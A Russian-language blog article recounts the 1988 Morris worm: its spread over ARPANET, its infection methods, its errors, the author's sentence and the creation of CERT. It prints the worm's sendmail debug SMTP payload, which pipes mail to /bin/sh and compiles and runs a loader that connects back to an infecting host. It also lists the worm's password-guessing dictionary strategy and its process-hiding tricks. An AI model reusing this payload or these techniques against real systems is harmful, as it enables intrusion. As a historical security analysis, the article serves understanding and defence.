Morris worm — он был первым

в 19:54, , рубрики: cyberthreat, Morris, Вирусы (и антивирусы), информационная безопасность, метки: ,

2 ноября 1988 года сеть ARPANET была атакована программой, впоследствии получившей название «червь Морриса» — по имени его создателя, студента Корнельского университета Роберта Морриса-младшего. Сеть ARPANET (Advanced Research Projects Agency Network) была создана в 1969 году по инициативе Управления перспективных исследований Министерства Обороны США (DARPA, Defense Advanced Research Projects Agency) и явившаяся прототипом сети Интернет. Эта сеть создавалась в интересах исследователей в области вычислительной техники и технологии для обмена сообщениями, а также программами и массивами данных между крупнейшими исследовательскими центрами, лабораториями, университетами, государственными организациями и частными фирмами, выполняющими работы в интересах Министерства Обороны США (DoD, Department of Defence of USA). Именно по заказу DoD был разработан один из трех наиболее распространенных протоколов транспортного уровня модели OSI, получивший название TCP/IP, который в 1983 году стал основным в ARPANET. К концу 80-х годов сеть насчитывала несколько десятков тысяч ЭВМ. ARPANET прекратила своё существование в июне 1990 года.
«Червь Морриса» был первым в истории развития вычислительной техники образцом вредоносного программного обеспечения, который использовал механизмы автоматического распространения по сети. Для этого использовалось несколько уязвимостей сетевых сервисов, а так же некоторые слабые места компьютерных систем, обусловленные недостаточным вниманием к вопросам безопасности в то время.

По словам Роберта Морриса, червь был создан в исследовательских целях. Его код не содержал в себе никакой «полезной» нагрузки (деструктивных функций). Тем не менее, из-за допущенных ошибок в алгоритмах работы, распространение червя спровоцировало так называемый «отказ в обслуживании», когда ЭВМ были заняты выполнением многочисленных копий червя и переставали реагировать на команды операторов.
Структурно червь состоял из трех частей — «головы» и двух «хвостов». «Голова» представляла собой исходный текст на языке C (99 строк) и компилировалась непосредственно на удаленной машине. «Хвосты» были идентичными, с точки зрения исходного кода и алгоритмов, бинарными файлами, но скомпилированными под разные типы архитектур. По замыслу Морриса в качестве целевых аппаратных платформ были выбраны VAX и SUN. «Голова» забрасывалась при помощи следующих методов:

  • использование отладочного режима в sendmail;
  • использование уязвимости типа «переполнение буфера» в сетевом сервисе fingerd;
  • подбор логина и пароля для удаленного выполнения программ (rexec);
  • вызов удаленного командного интерпретатора (rsh) путем подбора логина и пароля или используя механизм доверия.

Sendmail — самый старый сетевой сервис, обрабатывающий прием и отправку почты по протоколу SMTP. Во времена распространения червя, в Sendmail имелась недокументированная возможность — разработчиками был запрограммирован отладочный режим, который не должен был находится в рабочей версии программы и был оставлен по ошибке. Одна из возможностей отладочного режима заключалась в том, чтобы почтовое сообщение обрабатывалось не самим Sendmail, а другой программой. Пример почтового сообщения, отправляемого червем:
debug
mail from: </dev/null>
rcptto:<"|sed-e '1,/^$/d' | /bin/sh; exit 0">
data
cd /usr/tmp
cat >x14481910.с <<'EOF'
<текст программы l1.c>
EOF
cc -о х14481910 х14481910.с; х14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
.
quit
Как видно, из тела письма убирались заголовки (при помощи текстового препроцессора sed) и производилось сохранение файла исходного кода «головы». Далее командному процессору давались инструкции на компилирование кода «головы», запуск получившегося исполняемого файла и стирание временных файлов.
Для эксплуатации уязвимости сервиса fingerd, червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve("/bin/sh", 0, 0). Это срабатывало только для компьютеров VAX с установленной ОС 4.3BSD, на компьютерах SUN под управлением SunOS данной уязвимости не было.
Для использования метода распространения через rexec и rsh собирался список пользователей локальной машины. На его основе производился подбор наиболее часто используемых паролей, в надежде что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети, что впрочем оказалось недалеким от истины. Помимо подбора в rsh использовался механизм доверия, или по другому механизм упрощенной аутентификации по IP адресу удаленной машины. Такие адреса хранились в файлах /etc/hosts.equiv и .rhosts. Для большинства компьютеров доверие было взаимным, так что с большой долей вероятности, перечень IP адресов из этих файлов, найденных червем, позволял осуществить вход в удаленную систему через rsh вообще не используя пароль
При подборе червь пробовал следующие варианты паролей:

  • пустой;
  • имя пользователя (user);
  • имя пользователя, написанное наоборот (resu);
  • двойной повтор имени пользователя (useruser);
  • имя или фамилия пользователя (John, Smith);
  • имя или фамилия пользователя в нижнем регистре (john, smith);
  • встроенный словарь размером 432 слова;
  • файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других) как орфографический словарь. Если слово начинается с прописной буквы, то проверялся и вариант со строчной буквой.

Комплексное использование нескольких методов распространения значительно повлияло на массовое распространение червя в сети. Для поиска удаленных компьютеров производилось сканирование сети на основе информации из таблицы маршрутов и собственного IP адреса зараженной системы.
Червь использовал несколько приемов для затруднения своего обнаружения администраторами компьютеров:

  • удаление своего исполняемого файла после запуска;
  • отключались все сообщения об ошибках, а размер аварийного дампа устанавливался в ноль;
  • исполняемый файл червя сохранялся под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, таким образом, червь маскировался в списке процессов;
  • примерно каждые три минуты порождался дочерний поток, а родительский завершался, при этом происходило постоянное изменение pid процесса червя и обнулялось время работы, показываемое в списке процессов;
  • все текстовые строки были закодированы путем применения операции xor 81h.

Несмотря на «грандиозность» задумки, червь имел в себе некоторые ошибки, как проектирования, так и реализации. Именно неправильно реализованный алгоритм проверки, не является ли система уже зараженной, привел к массовому распространению червя в сети, вопреки задумке его автора. На практике, компьютеры заражались многократно, что, во-первых, приводило к быстрому исчерпанию ресурсов, во-вторых — способствовало лавинообразному распространению червя в сети. По некоторым оценкам червь Морриса инфицировал порядка 6200 компьютеров. Сам разработчик, осознав масштабы результатов своего поступка, добровольно сдался властям и обо всем рассказал. Слушанье по его делу закончилось 22 января 1990 года. Приговор был достаточно мягок, суд назначил 400 часов общественных работ, 10000 долларов штрафа, испытательный срок в три года и оплату расходов, связанных с наблюдением за осужденным.
Инцидент с «червем Морриса» заставил специалистов в области IT серьезно задуматься о вопросах безопасности, в частности именно после этого для повышения безопасности системы стало внедряться использование пауз после неправильного ввода пароля и хранение паролей в /etc/shadow, куда они перенесены из доступного на чтение всем пользователям файла /etc/passwd. Но наиболее важным событием стало создание в ноябре 1988 года координационного центра CERT (CERT Coordination Center, CERT/CC), деятельность которого связана с решением проблем безопасности в Интернете. Первым появившимся в декабре 1988 года бюллетенем безопасности CERT стало сообщение об уязвимостях, использованных червем. Примечательно, что многие технические решения, используемые «червем Морриса», такие как использование перебора паролей, компиляция кода загрузчика на удаленной ЭВМ под управлением *NIX систем (Slapper), сканирование сети для выявления целей и т.д. применяются и в современных образцах вредоносного программного обеспечения.
И напоследок — в 1988 году, будучи под впечатлением от атаки червя Морриса, американская Ассоциация компьютерного оборудования объявила 30 ноября международным Днем защиты информации (Computer Security Day), который отмечается и по сей день.

Автор: nuklearlord

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js